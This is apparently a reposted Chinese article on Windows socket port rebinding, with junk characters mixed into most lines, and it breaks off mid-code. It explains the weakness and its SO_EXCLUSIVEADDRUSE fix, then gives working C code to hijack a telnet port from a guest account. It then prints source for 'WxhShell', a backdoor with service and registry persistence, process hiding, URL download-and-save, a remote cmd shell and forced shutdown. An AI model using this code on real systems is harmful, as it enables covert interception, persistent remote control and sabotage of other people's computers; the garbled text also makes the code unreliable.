在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+fC#2%VnU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l#X=]xQf L@>^_p$ saddr.sin_family = AF_INET;
\d `dV0X 9BqQ^`bu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NS7@8 #C AF6d#Klog bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dNOX&$/= A
Z4|&iT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
BO?mQu~ ;[FW! 这意味着什么?意味着可以进行如下的攻击:
KYnW7|* Sg/:n,68 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>{j,+$%kp =$^Wkau 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_7r qXkp% Z[a O_6L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8T8pAs0
p A)hq0FPp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8FxcI!A@ gV<0Hj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]]\)=F`n77
H;b8I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tn"Y9
k| ATKYjhc _ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\Ku9"x 'dmp4VT3 #include
N90\]dFmy #include
[54@i rH #include
IW5*9)N? #include
[>b
'}4 DWORD WINAPI ClientThread(LPVOID lpParam);
2q`)GCES~ int main()
+CsI,Uf4* {
>v^2^$^u WORD wVersionRequested;
RY\{=f DWORD ret;
&/B2)l6a WSADATA wsaData;
4?9soc BOOL val;
>/7KL2* SOCKADDR_IN saddr;
a<OCO0irJ SOCKADDR_IN scaddr;
N oX_? int err;
o7_MMeQ4 SOCKET s;
J{nyo1A SOCKET sc;
.nj?;). int caddsize;
Rz<d%C;R HANDLE mt;
A2g"=x[1@K DWORD tid;
l%sp[uqcg wVersionRequested = MAKEWORD( 2, 2 );
{ED(O-W err = WSAStartup( wVersionRequested, &wsaData );
5]4<!m if ( err != 0 ) {
s`8M%ZLu printf("error!WSAStartup failed!\n");
ka?IX9t\ return -1;
L Q I: ]d }
% j[O&[s}
saddr.sin_family = AF_INET;
s=^r/Sz902 `-72>F ;T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W (=Wg|cr ]wkSAi5z* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'8r8
^g[ saddr.sin_port = htons(23);
dO 1-c` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
88 tFB {
()@.;R.Z printf("error!socket failed!\n");
{V]Qwz)1 return -1;
^7ea6G" }
eZN3H"H val = TRUE;
7]M,yIwc //SO_REUSEADDR选项就是可以实现端口重绑定的
IyG=
7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"oE^R?m {
D,}'E0 printf("error!setsockopt failed!\n");
$nGbT4sc return -1;
Z,|1G6f@ }
f_re"d 3u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5{R#h : //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dI#8CO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D&z'tf5 jm#d7@~4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_SBp66
r {
H0D>A<Ue ret=GetLastError();
9Sx<tj_4P{ printf("error!bind failed!\n");
C0t+Q return -1;
ADLa.{ }
e6{[o@aM{ listen(s,2);
IS0HV$OI while(1)
h30QCk {
DJ
mQZ+{2 caddsize = sizeof(scaddr);
(PsSE:r}+ //接受连接请求
RB lOTQjv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0_,3/EWa if(sc!=INVALID_SOCKET)
!_XU^A> {
\pewbu5^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#FQm/Q<0 if(mt==NULL)
Kh:#S|
{
hSx+{4PZ printf("Thread Creat Failed!\n");
$+lz<~R break;
6yu*a_ }
)F%wwc^r }
g9([3pV, CloseHandle(mt);
sl^s9kx;C$ }
%|D\j-~ closesocket(s);
;G4HMtL WSACleanup();
hdsgOu return 0;
8zCGMhd }
yNLa3mW DWORD WINAPI ClientThread(LPVOID lpParam)
X>6~{3 {
MuFU?3ovG* SOCKET ss = (SOCKET)lpParam;
Ew?/@KAV\ SOCKET sc;
7+D'W7Yx unsigned char buf[4096];
(Qx-KRH SOCKADDR_IN saddr;
VeN&rjc long num;
T4H oSei DWORD val;
_M"$5
T DWORD ret;
mf*9^}l+Zn //如果是隐藏端口应用的话,可以在此处加一些判断
G>q{~HE1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
s!j(nUd/ saddr.sin_family = AF_INET;
Eis%)oE
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ArmL, saddr.sin_port = htons(23);
o%4&1^ Vg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m m J)m {
XZep7d} printf("error!socket failed!\n");
[KimY return -1;
PO%yWns30o }
g<hv7?"[ val = 100;
t'=~"?T/o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CQ8o9A/ {
U&w5&W{F} ret = GetLastError();
j quSR= return -1;
w}bEufU+2 }
^+-L;XkeY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?9('o\N: {
/K1$_ ret = GetLastError();
l9ifUhe return -1;
D25gg }
{o5K?Pb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9A}
kkMB: {
j0pvLZjM printf("error!socket connect failed!\n");
:_~PU$%0 closesocket(sc);
H%NLL4&wu closesocket(ss);
9$P l'>5 return -1;
F'5d\ v }
:`>+f.) while(1)
Z z;<P {
{Jw<<<G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
W
&0@&U //如果是嗅探内容的话,可以再此处进行内容分析和记录
XJxs4a1[t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zFdz]z3 num = recv(ss,buf,4096,0);
3U9+l0mBa if(num>0)
od5w9E. send(sc,buf,num,0);
:LIKp; else if(num==0)
l6`d48U break;
2;?wN`}5g= num = recv(sc,buf,4096,0);
3ciVjH>i if(num>0)
7ck0S+N'b send(ss,buf,num,0);
+sR *d else if(num==0)
i3kI2\bd/ break;
L$TKO,T }
p\]LEP\z, closesocket(ss);
DO- K closesocket(sc);
TNFm7}= return 0 ;
L$u&~"z- }
qT<qu(V: aD/,c1 <R~~yW:H ==========================================================
*Xtc`XH 0p>:rU~ 下边附上一个代码,,WXhSHELL
-{:LxE FvI0 J
==========================================================
S4:\`Lo-; {u_k\m[Y #include "stdafx.h"
4|Gs(^nU | 7'yk__m #include <stdio.h>
}PIGj} F/ #include <string.h>
9}qfdbI #include <windows.h>
c7nk~K[6 #include <winsock2.h>
)V$! #include <winsvc.h>
}rMpp[ #include <urlmon.h>
dI0>m:RBz hA,rSq #pragma comment (lib, "Ws2_32.lib")
XFf+efh #pragma comment (lib, "urlmon.lib")
0[!gk]p lRATrp#T #define MAX_USER 100 // 最大客户端连接数
^SSOh# #define BUF_SOCK 200 // sock buffer
HH~
du #define KEY_BUFF 255 // 输入 buffer
@#--dOWYR agxSb^ 8tF #define REBOOT 0 // 重启
L^al1T #define SHUTDOWN 1 // 关机
jQ\
MB zS"zb #define DEF_PORT 5000 // 监听端口
.McoW7|Y Lc: SqF #define REG_LEN 16 // 注册表键长度
p:Ld)U * #define SVC_LEN 80 // NT服务名长度
vzrD" q(ET)xCeD // 从dll定义API
pffw5Tc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^Lv^W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%J (
}D7-, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
b} U&bFl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9Or4`JOO )Q // wxhshell配置信息
m2<
* struct WSCFG {
soVZz3F int ws_port; // 监听端口
PN^1 char ws_passstr[REG_LEN]; // 口令
eGypXf% int ws_autoins; // 安装标记, 1=yes 0=no
R
EH&kcn char ws_regname[REG_LEN]; // 注册表键名
y[@j0xlO char ws_svcname[REG_LEN]; // 服务名
twHM~cTS char ws_svcdisp[SVC_LEN]; // 服务显示名
~S=fMv^BR char ws_svcdesc[SVC_LEN]; // 服务描述信息
.6Lhy3x char ws_passmsg[SVC_LEN]; // 密码输入提示信息
59NWyi4i int ws_downexe; // 下载执行标记, 1=yes 0=no
wZ3vF)2s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F']%q 0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U;Y}2 ND9>`I5 };
rIWN!@.J Ty4%du6?d // default Wxhshell configuration
1>@| struct WSCFG wscfg={DEF_PORT,
F-7b`cF9[r "xuhuanlingzhe",
KsU&<eQ 1,
{_X1&&>8/ "Wxhshell",
TYS\:ZdXF "Wxhshell",
HYYx*CJ) "WxhShell Service",
[#rdfN'?U
"Wrsky Windows CmdShell Service",
K8 4cE "Please Input Your Password: ",
H6CGc0NS+ 1,
qH$rvD!] "
http://www.wrsky.com/wxhshell.exe",
: )"jh` "Wxhshell.exe"
.L{+O6*c };
nIKT w dVtLYx // 消息定义模块
qjEWk." char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`::'UfHc char *msg_ws_prompt="\n\r? for help\n\r#>";
*7fPp8k+Z; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
svRaU7<UDN char *msg_ws_ext="\n\rExit.";
>A( C9_\ char *msg_ws_end="\n\rQuit.";
C2|2XL'l(C char *msg_ws_boot="\n\rReboot...";
Xg3[v3m| char *msg_ws_poff="\n\rShutdown...";
$AhX@|?z char *msg_ws_down="\n\rSave to ";
4m(>" dHP -R
\@W q@ char *msg_ws_err="\n\rErr!";
k3.p@8@: char *msg_ws_ok="\n\rOK!";
T9<nD"=: Zy3&Zt char ExeFile[MAX_PATH];
"LIii1]k int nUser = 0;
y-q?pqt HANDLE handles[MAX_USER];
o9d$
4s@/ int OsIsNt;
;Hp' x_xQ *vE C,) SERVICE_STATUS serviceStatus;
TY[d%rMm SERVICE_STATUS_HANDLE hServiceStatusHandle;
GJ_)Cl+5E ~@?-|xLqQ // 函数声明
n)!_HNc9 int Install(void);
mXM>6>;y int Uninstall(void);
>MY.Fr#.m int DownloadFile(char *sURL, SOCKET wsh);
17]31 int Boot(int flag);
i/Lq2n3 ) void HideProc(void);
'wnY>hN int GetOsVer(void);
mKn357: int Wxhshell(SOCKET wsl);
F1*rUsRKN void TalkWithClient(void *cs);
#TwE??ms int CmdShell(SOCKET sock);
&u\z
T
P int StartFromService(void);
RW^ v {'o int StartWxhshell(LPSTR lpCmdLine);
CuO*>g^K[ UKQ&TV}0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
CvWEXY_P2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
?q }wl\"8 3Wxtxk._E // 数据结构和表定义
:bDn.`KG# SERVICE_TABLE_ENTRY DispatchTable[] =
ZboJszNb; {
i*w-Q= {wscfg.ws_svcname, NTServiceMain},
5T3>fw2G {NULL, NULL}
?JTyNg4< };
>d
V@9 Vzm+Ew
_ // 自我安装
Cj\+u\U# int Install(void)
KrG6z#)Uz {
|5B9tjJ" char svExeFile[MAX_PATH];
at]Q4 HKEY key;
TaJn2cC^ strcpy(svExeFile,ExeFile);
na:^7:I $<mL2$.L~ // 如果是win9x系统,修改注册表设为自启动
|aJ6363f. if(!OsIsNt) {
N;pr: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7[0k5- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W2Z]?l;vQQ RegCloseKey(key);
Jxw:Jk
~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U (7P X`1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2Lgvy/uN RegCloseKey(key);
arL&^]JnZ, return 0;
G6VHl:e7z }
(w
B[ ]O$@ }
U(LR('-h }
|L{dQ)-'l else {
!Y(qpC:$ ;]x5;b9` // 如果是NT以上系统,安装为系统服务
JlGD.!` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7]zZha4X if (schSCManager!=0)
5mVu]T` {
(gB=!1/|G SC_HANDLE schService = CreateService
bxe 97] (
lD#1"$Coz schSCManager,
i3j jPN! wscfg.ws_svcname,
.3&OFM wscfg.ws_svcdisp,
T-i]O*u SERVICE_ALL_ACCESS,
tSa%ZkS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K#< Wt5 SERVICE_AUTO_START,
H,` XCG SERVICE_ERROR_NORMAL,
`~TGVa`D svExeFile,
k T>}(G|| NULL,
:E`l(sI7J} NULL,
"*\3.`Kd NULL,
"0)G|pZI NULL,
7N=VVD~!b NULL
Nj8)HR );
GFkte if (schService!=0)
c&(, {
oe"ShhT CloseServiceHandle(schService);
4\es@2 q CloseServiceHandle(schSCManager);
/loNOutw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Bd[Gsns strcat(svExeFile,wscfg.ws_svcname);
gg_(%.> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
x[6Bc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v"_#.!V RegCloseKey(key);
4FdH:os return 0;
|JQKxvjT }
&2pM3re/f }
/*HSAjv CloseServiceHandle(schSCManager);
H9!*DA<W }
boovCW }
S@($c' yo6IY return 1;
7}.(EZ0 }
YWFHiB7x imQNfNm // 自我卸载
2Jv4l$$;* int Uninstall(void)
z#
B) b5 {
1bs95Fh9Q HKEY key;
iO`f{?b Lr&BZM if(!OsIsNt) {
}C#d;JC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k"zHrn"$ RegDeleteValue(key,wscfg.ws_regname);
5L#M7E RegCloseKey(key);
x#j_}L!V; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O v6=|]cW RegDeleteValue(key,wscfg.ws_regname);
Big-)7?
RegCloseKey(key);
M!'tD!NWc return 0;
pl&GFf
o }
kk#d-!
$[ }
M
-TK }
;\.&FMi else {
TA7w:< !/j|\_O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sOmYQ{R if (schSCManager!=0)
xw
Qkk {
6j#5Ag: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Qz;"b! if (schService!=0)
rE~O}2a#H {
i%w'Cs0y if(DeleteService(schService)!=0) {
%SXqJW^: CloseServiceHandle(schService);
;ecF~-oku CloseServiceHandle(schSCManager);
Elx bHQj6 return 0;
|lY8u~% }
-tZb\4kh CloseServiceHandle(schService);
K)ib{V(50 }
k2;yl_7 CloseServiceHandle(schSCManager);
,3u19>2 }
dtm@G|Ij }
0nAS4Az {S!~pn&^Y return 1;
T^t`Hp }
NunT2JP. Ye\%o[X // 从指定url下载文件
0"Hf6xz int DownloadFile(char *sURL, SOCKET wsh)
lom4z\6 {
akoI LX~u HRESULT hr;
59u7q( char seps[]= "/";
c\opPhJ!0 char *token;
4 @h6|= char *file;
1>1!oml1E char myURL[MAX_PATH];
$2 0*&4y^ char myFILE[MAX_PATH];
M:N>{_1& UPsh Y strcpy(myURL,sURL);
:T2K\@ token=strtok(myURL,seps);
\)hmg while(token!=NULL)
e2v,#3Q\ {
O^GTPYW file=token;
gnt[l0m token=strtok(NULL,seps);
7 m%|TwJN }
@VFg XN +dRTHz GetCurrentDirectory(MAX_PATH,myFILE);
'1aOdEZA* strcat(myFILE, "\\");
pQD8#y)` C strcat(myFILE, file);
WD]dt!V% send(wsh,myFILE,strlen(myFILE),0);
#'T@mA send(wsh,"...",3,0);
~QXNOtVsN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
l8Ox]%F if(hr==S_OK)
p/:L;5F return 0;
(RF6K6~ else
3[$VW+YV return 1;
aqlYB7 @<+(40`* }
'tc$#f^: $xqphhBg // 系统电源模块
F-t-d1w6 int Boot(int flag)
~ lS3+H {
M II]sF HANDLE hToken;
zKZ6Qjd8! TOKEN_PRIVILEGES tkp;
8u4]@tJH 4YJs4CB if(OsIsNt) {
LQ._?35r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
);C !:? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b^ZrevM tkp.PrivilegeCount = 1;
'
x|B' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~$5[#\5%G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#t\Oq9}^ if(flag==REBOOT) {
#"jWPe,d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zR:S.e< return 0;
3j2}n
o8O }
H$ v4N8D8I else {
n*V^Qf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7 @ZL(G return 0;
/3fo=7G6 }
*E>YLkg] }
[Gu]p& else {
=i.[|g" if(flag==REBOOT) {
GlaWBF# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'#XP:nqFkK return 0;
&*0V!+#6 }
WWY9U else {
_ge3R3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
phTZUmi return 0;
G[jCmkK }
hFKYRZtP.8 }
$`i&\O2* @$aCUJ/mE return 1;
6w5 4+n }
s)> ]'ii SFuzH)+VO // win9x进程隐藏模块
E~24b0<7 void HideProc(void)
1}N5WBp {
FT=w`NE,+ StE4n0V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UJQ!~g.y] if ( hKernel != NULL )
n1v%S"^ {
tTY (I1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7oUYRqd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4&?%" 2 FreeLibrary(hKernel);
BPW:W } }
g{&ux k); OUD<+i, return;
U*zjEY:A }
(FBKP#x)^ 7Y_S%B:F // 获取操作系统版本
]+oPwp;il int GetOsVer(void)
p%n}a%%I {
HYtkSsXLN OSVERSIONINFO winfo;
9nB:=`T9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
J,k{Bm GetVersionEx(&winfo);
%_5B"on if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%H:!/'45 return 1;
WL>"hkx else
Yx,
return 0;
P
/Js!e<\ }
<53~Y [IMa0qs' // 客户端句柄模块
idV4hMF9 int Wxhshell(SOCKET wsl)
sb;81?| {
f9!wO';P6 SOCKET wsh;
*@/!h2 struct sockaddr_in client;
m]V5}-?al DWORD myID;
!Y5O3^I=u m'Wz0b^BO while(nUser<MAX_USER)
I'C{=? {
ybfNG@N* int nSize=sizeof(client);
&B[$l`1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?QZ\KY if(wsh==INVALID_SOCKET) return 1;
BK,=(;d3 Y6V56pOS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2@=JIMtc if(handles[nUser]==0)
^>[Z~G($ closesocket(wsh);
RXh/[t+ else
bA1uh]oB nUser++;
XjWoUnz }
sz_|py?0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`_<K#AG Ai V\Rbnvq return 0;
>0{{loqq }
MOdodyG B;L~hM // 关闭 socket
Qb6s]QZEV void CloseIt(SOCKET wsh)
'a*tee ^RS {
&c0U\G|j closesocket(wsh);
ZY=x$($f nUser--;
@2]_jW ExitThread(0);
z>hA1*Ti }
|G{TA kE=}. // 客户端请求句柄
^b'|`R+~} void TalkWithClient(void *cs)
G!@tW`HO {
R9~%ORI#; ?HttqK) SOCKET wsh=(SOCKET)cs;
JZ'`.yK: char pwd[SVC_LEN];
MJb!+E+ char cmd[KEY_BUFF];
crUt8L-B4 char chr[1];
UV$v:>K# int i,j;
lQY?!oj&q 5nQ*%u\$Z while (nUser < MAX_USER) {
@MS;qoc V`=#j[gX)= if(wscfg.ws_passstr) {
h]&8hl_'m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xn}sh[<:P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Av]<[ F/ //ZeroMemory(pwd,KEY_BUFF);
0 @~[SXR i=0;
* 3WK`9q while(i<SVC_LEN) {
YeK PoW 1W;q(#q // 设置超时
`A])4q$ fd_set FdRead;
rXdI`l# struct timeval TimeOut;
#toKT_ FD_ZERO(&FdRead);
1
@tVfn} FD_SET(wsh,&FdRead);
Y[#i(5w TimeOut.tv_sec=8;
H0_hQ:K TimeOut.tv_usec=0;
eo4;?z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1@im+R?a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Pl9/1YhD/ '/G.^Zl9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wz<YflF pwd
=chr[0]; PSNfh7g
if(chr[0]==0xd || chr[0]==0xa) { ]N,n7v+}
pwd=0; $d'GCzYvZ
break; cK"b0K/M?B
} #/\5a;Elc
i++; E80C0Q+V
} HI*xk
|]w0ytL>(2
// 如果是非法用户,关闭 socket {=VauF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :%~+&qS
} *2Il{KOA^
R&PQU/t)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O|}97a^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tl6%z9rY@
FhVi|Va
while(1) { "hdcB
0
!c(B c^
ZeroMemory(cmd,KEY_BUFF);
3V>2N)3`A
1-!u=]JDE
// 自动支持客户端 telnet标准 :''^a
j=0; LxC*{t/>8
while(j<KEY_BUFF) { E`}KVi57
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #XE`8$
cmd[j]=chr[0]; E=+v1\t)]
if(chr[0]==0xa || chr[0]==0xd) {
QK)"-y}"g
cmd[j]=0; ZaBGkDX5
break; 3iMh)YH5b
} sg RY`U.C
j++; 6&5p3G{%0
}
I4.^I/c(
5B)Z@-x2
// 下载文件 I@76ABu^
if(strstr(cmd,"http://")) { zc%#7"FM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &W)Lzpx8c
if(DownloadFile(cmd,wsh)) 96x0'IsaG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t>:2F,0K9
else c4E=qgP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cD{I*t$
} Y5M>&}N
else { }%Dsy2:y
OsAH!e
switch(cmd[0]) { 1A^~gYr
|}P4Gr}6
// 帮助 `'H"|WsT
case '?': { $$_aHkI j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
K6d9[;F
break; (P&~PJH
} O:3LA-vA
// 安装 ^W+q!pYM9+
case 'i': { fS+Ga1CsH
if(Install()) =QXLr+
y@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bq{":[a
else U2l7@uDr;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$#X[.
break; ]c%yib
} })f4`$qf
// 卸载 B/u0^!
case 'r': { JFf*v6:,
if(Uninstall()) @5jJoy(mX@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Exd$v"s
Y
else \}[{q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sJu^deX
break; Ad !=
*n
} Yz4)Q1
// 显示 wxhshell 所在路径 MM8@0t'E
case 'p': { OCIWQ/
P
char svExeFile[MAX_PATH]; Vf<VKP[9K
strcpy(svExeFile,"\n\r"); 0EiURVX
strcat(svExeFile,ExeFile); oU[Ba8qh
send(wsh,svExeFile,strlen(svExeFile),0); y8=p;7DY
break; xLhN3#^m
} z=C'qF`
// 重启 e%.Xya#\
case 'b': { ) inhPd
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FaS}$-0
if(Boot(REBOOT)) K8xwPoRL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&8)5d[
else { KZ_d..l*W
closesocket(wsh); ,Yx"3i,
ExitThread(0); $h"Ht2/ J
} el
GP2x#:
break; g_ 'F(An
} P6q`i<
// 关机 I!'PvIyO
case 'd': { AfAg#75q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3>LyEXOW
if(Boot(SHUTDOWN)) U^+xCX<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc@X:${
else { ]r++YIg!j
closesocket(wsh); 4JF)w;X}
ExitThread(0); mHcxK@qw
} e`gOc*
break; |Yq0zc!
} C/AqAW1
// 获取shell m]LR4V6k|
case 's': { "o.V`Bj
CmdShell(wsh); {@j0?s
closesocket(wsh); N0APX4j
ExitThread(0); 1NJ,If]
break; [4Tiukk(
} 022nn-~
// 退出 mY[s2t
case 'x': { g+shz{3zvz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t[gz#'
CloseIt(wsh); #m 2Ss
break; $v|/*1S
} %J)n#\
// 离开 o&M2POI~q
case 'q': { [X>\!mt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $x_6
.AOZ,
closesocket(wsh); *]uo/g
WSACleanup(); LObS
7U
exit(1); Bqo8G->
break; Y4E UW%
} Tc{r;:'G<
} $gKMVgD"
} 0sxZa+G0o
Om
#m":
// 提示信息 5:[<pY!s#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^@W98_bd;
} *5KV DOd
} cH$zDm1
/>1Ndj
return; (S~|hk^
} 43_;Z| T
jTVh`d<N
// shell模块句柄 d)V"tSC,
int CmdShell(SOCKET sock) ;uw`6 KJ
{ wk
@-O}W
STARTUPINFO si; > Y7nq\
ZeroMemory(&si,sizeof(si)); QiDf,$t|,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BI9~%dm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 77y_?di^I
PROCESS_INFORMATION ProcessInfo; SCbN(OBN!
char cmdline[]="cmd"; z=ItKoM*<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MF+J3)
return 0; ~lB im$o
} j9)WInYc:
3@u<Sa
// 自身启动模式 GE+%V7
int StartFromService(void) $@
/K/"
{ b-sbR R
typedef struct n<Vq@=9AE
{ 1<Vc[p&
DWORD ExitStatus; HK~uu5j
DWORD PebBaseAddress; ^a9v5hu
DWORD AffinityMask; D$k<<dvv
DWORD BasePriority; >:5^4/fo*
